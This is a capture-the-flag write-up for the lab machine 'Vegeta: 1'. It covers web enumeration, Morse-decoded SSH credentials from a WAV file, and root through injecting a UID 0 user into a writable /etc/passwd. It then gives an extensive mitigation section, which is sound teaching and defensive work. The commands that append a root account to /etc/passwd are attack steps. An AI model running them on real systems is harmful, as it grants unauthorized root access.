Vegeta: 1 is a Dragon Ball Z-themed beginner machine that chains three different techniques into a clean kill chain. Web directory enumeration uncovers /bulma/ , with directory listing enabled — inside it, a single WAV file. Running it through multimon-ng decodes Morse code hidden in the audio and hands over SSH credentials for the trunks account. Once on the box, a single ls -la /etc/passwd command reveals the misconfiguration that ends the machine: the file is owned by trunks, not root. An owner-writable /etc/passwd means you can inject a UID 0 user directly — no exploits needed. One openssl passwd, one appended line, and it is done.
Attack Path: Gobuster → /bulma/ directory listing → Morse code WAV decode (SSH creds) → SSH as trunks → owner-writable /etc/passwd → injected root user

Platform: OffSec Proving Grounds Play
Machine: Vegeta: 1
Difficulty: Easy
OS: Linux (Debian 10)
Date: 20XX-XX-XX
Table of Contents
1. Reconnaissance
1.1 Nmap Port Scan
1.2 Web Directory Enumeration
2. Initial Access — Morse Code Audio & SSH
2.1 Directory Listing in /bulma/
2.2 Decoding hahahaha.wav
2.3 SSH Login as trunks
3. Privilege Escalation — Writable /etc/passwd
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
6.1 Credentials Embedded in a Web-Accessible Audio File
6.2 Apache Directory Listing Enabled
6.3 /etc/passwd Owned and Writable by an Unprivileged User
1. Reconnaissance
1.1 Nmap Port Scan
nmap -Pn -A -p- --open <TARGET_IP>
Results:
Port State Service Version
------ ----- ------- -------------------------------------------
22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open HTTP Apache httpd 2.4.38 (Debian)
Two ports. SSH and HTTP. The web root returned no meaningful title — just a default Apache page. OS fingerprint came back as Linux 5.x. Standard two-port surface; the web service is where enumeration starts.
1.2 Web Directory Enumeration
gobuster dir -u http://<TARGET_IP>/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-x php,txt,html \
--threads 10
Results:
Path Status Notes
-------- ------ ---------------------------------
/img 301 Static image directory
/image 301 Static image directory
/admin 301 Empty, nothing useful
/manual 301 Apache manual
/bulma 301 Directory listing enabled
/bulma/ is the only non-standard result worth investigating. Everything else is either default Apache content or empty. The name is a hint — this machine is Dragon Ball Z-themed throughout, and Bulma is a main character. Worth checking what is inside.
2. Initial Access — Morse Code Audio & SSH
2.1 Directory Listing in /bulma/
curl http://<TARGET_IP>/bulma/
Directory listing was enabled, exposing one file:
hahahaha.wav 2020-06-28 231K
Downloaded it:
wget http://<TARGET_IP>/bulma/hahahaha.wav -O hahahaha.wav
The filename is its own hint. hahahaha — the kind of name someone gives a file when they think it is clever that credentials are sitting right there in audio form. multimon-ng supports Morse CW decoding from WAV files directly; it is the right tool to reach for when a CTF drops an audio file with no obvious context.

2.2 Decoding hahahaha.wav
multimon-ng -a MORSE_CW -t wav hahahaha.wav
Output:
USER : TRUNKS PASSWORD : <REDACTED>
SSH credentials decoded directly from the Morse audio. This technique belongs almost exclusively to CTFs and the occasional creative red team engagement — but the underlying lesson is real: any file reachable via the web is a potential data-leak vector, regardless of format.
2.3 SSH Login as trunks
ssh trunks@<TARGET_IP>
# Password: <REDACTED>
trunks@Vegeta:~$
Foothold as trunks. The hostname confirms this is the right box. The kernel is recent enough that a kernel exploit is not the obvious move — standard post-exploitation enumeration comes first.
3. Privilege Escalation — Writable /etc/passwd
Standard permission check after landing:
ls -la /etc/passwd
Output:
-rw-r--r-- 1 trunks root 1486 Jun 28 2020 /etc/passwd
The owner is trunks — not root. That is the entire privilege escalation. /etc/passwd is owned by the currently logged-in user, which means it is writable without any special permissions or exploits. There is no need to hunt for SUID binaries, kernel CVEs, or anything else on the box. The misconfiguration is right there.
/etc/passwd stores user account information, including UID and GID. When shadow passwords are in use, the password field contains an x and the actual hash lives in /etc/shadow. However, if you write a valid password hash directly into the passwd field, Linux will honor it — the system checks /etc/passwd first. This is exactly what the classic /etc/passwd write exploit does: inject a new entry with UID 0, GID 0, and a known password hash.
Generate a password hash on the attacker's machine:
openssl passwd -1 <REDACTED>
Output:
<REDACTED_HASH>
Append a new root-level user to /etc/passwd on the target:
echo 'roots:<REDACTED_HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd
Switch to the injected user:
su roots
# Password: <REDACTED>
Output:
root@Vegeta:/home/trunks#
Root. The injected roots user carries UID 0 and GID 0 — identical privileges to the real root account.

4. Proof of Compromise
root@Vegeta:~# id
uid=0(root) gid=0(root) groups=0(root)
5. Vulnerability Summary
# Vulnerability Severity Impact
-- ------------------------------------------ --------- -----------------------------------------------
1 SSH credentials in web-accessible WAV file High Unauthenticated credential recovery via audio
2 Apache directory listing on /bulma/ Medium Exposes file existence without authentication
3 /etc/passwd owned and writable by trunks Critical Direct root via UID 0 user injection
6. Defense & Mitigation
6.1 Credentials Embedded in a Web-Accessible Audio File
Root Cause: SSH credentials were encoded in Morse code and embedded in a WAV file stored inside an Apache-served directory. Any user who could reach port 80 and enumerate the directory had the credentials — multimon-ng is a standard tool, and Morse decoding takes seconds.
Mitigations:
- Never store credentials in web-accessible content of any kind. Audio files, images, PDFs, documents — all of them are credential-leak vectors if they contain sensitive data in any form. Secrets belong in a vault or a secrets manager, not in any file that can be downloaded over HTTP.
- Audit web directories for unexpected files. Any file that was not intentionally deployed as part of the application is a risk. Run periodic audits of the web root and all subdirectories. Tools like tripwire or aide can detect file additions and alert on changes. A WAV file in a web directory with no application purpose should never exist, let alone persist.
- Apply a content policy to static file directories. If a directory is meant to serve only images, configure Apache to serve only the expected MIME types from it. Anything that does not match should return a 403. FilesMatch Directives in Apache can restrict which extensions are served from a given path.
- Treat “creative” credential hiding as a real-world risk pattern. Developers sometimes hide notes, passwords, or configs in unexpected places under the assumption that obscurity provides protection. It does not. Security reviews should actively search all web-accessible directories for non-application files.
6.2 Apache Directory Listing Enabled
Root Cause: Apache’s Options Indexes was active on /bulma/, meaning any client that browsed to that path received a full listing of its contents. Without directory listing enabled, an attacker would need to know the exact filename of hahahaha.wav — Directory brute-forcing would not surface it automatically.
Mitigations:
- Disable directory listing globally. Set Options -Indexes in the main Apache configuration (/etc/apache2/apache2.conf or the relevant virtual host config. This should be the default for every web server that is not explicitly a file browser.
<Directory /var/www/html>
Options -Indexes
</Directory>
- Override only where listing is explicitly required. If a specific directory needs to allow browsing, enable it only for that path with a documented justification. The default must be off.
- Add a default index file. Even with Indexes enabled, Apache will serve the index file first if one exists. A placeholder index.html in every directory prevents listing as a fallback — but this is a weak control and not a substitute for disabling Indexes outright.
- Review all virtual hosts and .htaccess configurations. Directory listing is sometimes re-enabled accidentally through .htaccess overrides or copied virtual host templates. Include Options -Indexes in security review checklists for every Apache deployment.
6.3 /etc/passwd Owned and Writable by an Unprivileged User
Root Cause: /etc/passwd was owned by the trunks user rather than root. This gave any process running as trunks write access to the file, which made injecting a new user with UID 0 and a known password hash trivial, with no exploit required.
Mitigations:
- Correct the ownership and permissions immediately. /etc/passwd must be owned by root with mode 644. Nothing else is acceptable.
chown root:root /etc/passwd
chmod 644 /etc/passwd
- The same applies to /etc/shadow (640, owned root:shadow), /etc/group (644, owned root:root), and /etc/sudoers (440, owned root:root).
- Run regular file integrity checks on critical system files. Tools like aide, tripwire, or OSSEC should monitor ownership and permissions on /etc/passwd, /etc/shadow, /etc/group, and /etc/sudoers as a baseline. Any deviation should trigger an alert immediately.
- Use Lynis or a similar hardening tool as part of the system setup. Lynis audits file permissions on critical paths as part of its standard run. Running it immediately after provisioning catches misconfigurations like this before they reach production. The check PASSWD-7032 specifically validates /etc/passwd permissions.
- Understand how passwd injection works and why shadow passwords are not sufficient alone. If shadow passwords are configured correctly but /etc/passwd is writable, an attacker can still win by writing a hash directly into the second field — Linux checks /etc/passwd first. The mitigation is correct ownership, not relying on shadow passwords in isolation.
- Audit user account ownership of system files. No non-root user account should own any file in /etc/. Run a periodic check:
find /etc -not -user root -ls
- Any output from this command on a hardened system warrants immediate investigation.
- Log and alert on writes to /etc/passwd. auditd can watch specific files for write events:
auditctl -w /etc/passwd -p wa -k passwd_changes
- Any write to /etc/passwd outside of a controlled user management process should generate an alert. The attacker here used a direct echo >> to the file — that is exactly the kind of event that should be caught in real time.
OffSec PG Play — for educational purposes only.
Vegeta: 1 — Morse Code Audio Recon + Writable /etc/passwd to Root | OffSec PG Play was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR